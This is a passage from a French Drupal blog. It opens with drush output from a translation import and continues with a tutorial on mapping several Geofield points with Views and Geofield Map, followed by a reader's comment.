Importation de la traduction de ctools. (88%).                                                     [ok]
Traduction de ctools importée.                                                                    [ok]
Traduction du module date téléchargée.                                                          [ok]
Importation de la traduction de date. (28%).                                                       [ok]
Importation de la traduction de date. (72%).                                                       [ok]
Traduction de date importée.                                                                      [ok]
Traduction du module drupal téléchargée.                                                        [ok]
Importation de la traduction de drupal. (1%).                                                      [ok]
Importation de la traduction de drupal. (2%).                                                      [ok]
Importation de la traduction de drupal. (3%).                                                      [ok]
Importation de la traduction de drupal. (5%).                                                      [ok]
Importation de la traduction de drupal. (7%).                                                      [ok]
Importation de la traduction de drupal. (9%).                                                      [ok]
Importation de la traduction de drupal. (12%).                                                     [ok]
Importation de la traduction de drupal. (15%).                                                     [ok]
Importation de la traduction de drupal. (18%).                                                     [ok]
Importation de la traduction de drupal. (20%).                                                     [ok]
Importation de la traduction de drupal. (25%).                                                     [ok]
Importation de la traduction de drupal. (30%).                                                     [ok]
Importation de la traduction de drupal. (33%).                                                     [ok]
Importation de la traduction de drupal. (39%).                                                     [ok]
Importation de la traduction de drupal. (46%).                                                     [ok]
Importation de la traduction de drupal. (52%).                                                     [ok]
Importation de la traduction de drupal. (59%).                                                     [ok]
Importation de la traduction de drupal. (66%).                                                     [ok]
Importation de la traduction de drupal. (73%).                                                     [ok]
Importation de la traduction de drupal. (79%).                                                     [ok]
Importation de la traduction de drupal. (86%).                                                     [ok]
Importation de la traduction de drupal. (92%).                                                     [ok]
Importation de la traduction de drupal. (95%).                                                     [ok]
Traduction de drupal importée.                                                                    [ok]
Traduction du module entity téléchargée.                                                        [ok]
Importation de la traduction de entity. (58%).                                                     [ok]
Traduction de entity importée.                                                                    [ok]
Traduction du module entityreference téléchargée.                                               [ok]
Traduction de entityreference importée.                                                           [ok]
Traduction du module eu_cookie_compliance téléchargée.                                          [ok]
Traduction de eu_cookie_compliance importée.                                                      [ok]
Traduction du module field_formatter_settings téléchargée.                                      [ok]
Traduction de field_formatter_settings importée.                                                  [ok]
Traduction du module field_group téléchargée.                                                   [ok]
Traduction de field_group importée.                                                               [ok]
Traduction du module field_permissions téléchargée.                                             [ok]
Traduction de field_permissions importée.                                                         [ok]
Traduction du module geofield téléchargée.                                                      [ok]
Traduction de geofield importée.                                                                  [ok]
Traduction du module ip_geoloc téléchargée.                                                     [ok]
Traduction de ip_geoloc importée.                                                                 [ok]
Traduction du module l10n_update téléchargée.                                                   [ok]
Traduction de l10n_update importée.                                                               [ok]
Traduction du module leaflet téléchargée.                                                       [ok]
Traduction de leaflet importée.                                                                   [ok]
Traduction du module media téléchargée.                                                         [ok]
WD l10n_update: Import of string "Ce processus est requis lors de l'installation de media sur un   [error]
site existant. Media nécessite de scanner les fichiers existants et d'identifier le type de
fichier. Mettre à jour les types de fichier pour les fichiers @file ?>" was skipped because of
disallowed or malformed HTML.
Importation de la traduction de media. (95%).                                                      [ok]
Traduction de media importée.                                                                     [ok]
Traduction du module memcache_storage téléchargée.                                              [ok]
Traduction de memcache_storage importée.                                                          [ok]
Traduction du module select_or_other téléchargée.                                               [ok]
Traduction de select_or_other importée.                                                           [ok]
Traduction du module views téléchargée.                                                         [ok]
Importation de la traduction de views. (3%).                                                       [ok]
Importation de la traduction de views. (7%).                                                       [ok]
Importation de la traduction de views. (16%).                                                      [ok]
Importation de la traduction de views. (25%).                                                      [ok]
Importation de la traduction de views. (39%).                                                      [ok]
Importation de la traduction de views. (50%).                                                      [ok]
Importation de la traduction de views. (64%).                                                      [ok]
Importation de la traduction de views. (76%).                                                      [ok]
Importation de la traduction de views. (90%).                                                      [ok]
Traduction de views importée.                                                                     [ok]
Traduction du module views_data_export téléchargée.                                             [ok]
Traduction de views_data_export importée.                                                         [ok]
WD l10n_update: 1 disallowed HTML string(s) in files: translations://media-7.x-1.4.fr_0.po.        [warning]
19 translation files imported. 1732 translations were added, 0 translations were updated and 0     [status]
translations were removed.
One translation string was skipped because of disallowed or malformed HTML. See the log for        [warning]
details.

La commande drush a pris quelques minutes à peine, pour importer 19 fichiers...

Quand je vous dis que c'est un outil magique !

vincentl mer 27/07/2016 - 15:57

Catégorie

Tag

Cartographie Drupal : Views + Geofield Map

vincentl — Wed, 06 Apr 2016 20:08:56 +0000

Cartographie Drupal : Views + Geofield Map

Dans les articles précédents (stockage des données notamment) , nous avons vu comment ajouter un champ de type Geofield et l'afficher sous forme de carte.

Nous allons voir ici comment afficher plusieurs points sur une seule carte. Pour cela, nous devons juste installer Views, et activer les modules Views, Views UI et Geofield Map.

drush dl views
drush en views views_ui geofield_map

Création de la vue

Il faut ensuite créer une vue. Pour cela, on va dans Structure / Vues, puis on va ajouter une vue (admin/structure/views/add). Nous allons nous baser sur le type de contenu créé auparavant, qui contient un champ Geofield. On donne un nom à la vue, puis on sélectionne le type de contenu (Magasin). On peut créer un block, sur la base d'une liste de champs (Unformatted list of fields).

Si on veut on peut également créer une page, tout dépend de ce que l'on veut faire.

On clique ensuite sur Continue & Edit pour continuer la création de la vue.

Choix des champs

Par défaut, seul le titre est affiché :

Il faut alors cliquer sur "Add", puis choisir le champ Coordonnées qui est de type Geofield.

On supprime l'affichage du libellé, et on laisse les valeurs par défaut (y compris le formatter en Well Known Text). En effet c'est dans le type de formatage global que l'on choisira Google Map.

On valide tout cela. Dans les chjamps, on doit donc avoir Title et Coordonnées.

Choix du format d'affichage

A ce stade, on a uniquement le titre et les coordonnées. Rien de très sympathique. Il faut alors changer le format de la vue :

A ce niveau, on peut choisir "Geofield Map" :

On valide en cliquant sur "Apply". On peut alors choisir quel champ sert de source. On va choisir le champ field_coordonnees que l'on vient d'ajouter à notre vue :

On peut laisser les valeurs par défaut dans un premier temps. Si on se rend à l'url de la vue, on a un premier résultat :

Si on clique sur l'un des marqueurs, le titre apparaît.

Amélioration de l'affichage

En modifiant la vue on peut facilement :

Ajouter des informations dans la Pop-Up
Permettre le scroll dans la carte (ScrollWheel)
Mettre un niveau de zoom par défaut (Zoom / Zoom minimum et maximum)

Dans l'exemple, la hauteur de la carte a été modifiée à 450 pixels, et on a mis la description plutôt que le titre dans la pop-up.

C'est globalement la limite du couple Views + Geofield Map, qui offre un premier niveau de formatage, sans beaucoup de souplesse.

On peut aller plus loin, avec d'autres modules. Ceci fera l'objet d'un autre article.

vincentl mer 06/04/2016 - 22:08

Catégorie

CMS

Tag

Drupal

cartographie

Sympa ce tuto.J'ai eu l

Sympa ce tuto.J'ai eu l'occasion de réaliser ce genre de views auparavant, notamment avec Leaflet (qui n'est pas mal du tout aussi). Il est possible de pousser le schmilblick assez loin, en ajoutant des filtres de vue, des modales qui s'ouvrent au click en AJAX, etc. C'est assez pratique. J'aurais aimé tomber sur ce tuto avant d'avoir à créer ces fameuses interfaces de cartes, ça aurait été plus rapide :)À noter qu'avec ce genre de vues, un trop grand nombre de nodes à afficher peut causer des soucis de perfs.Salut et bonne continuation.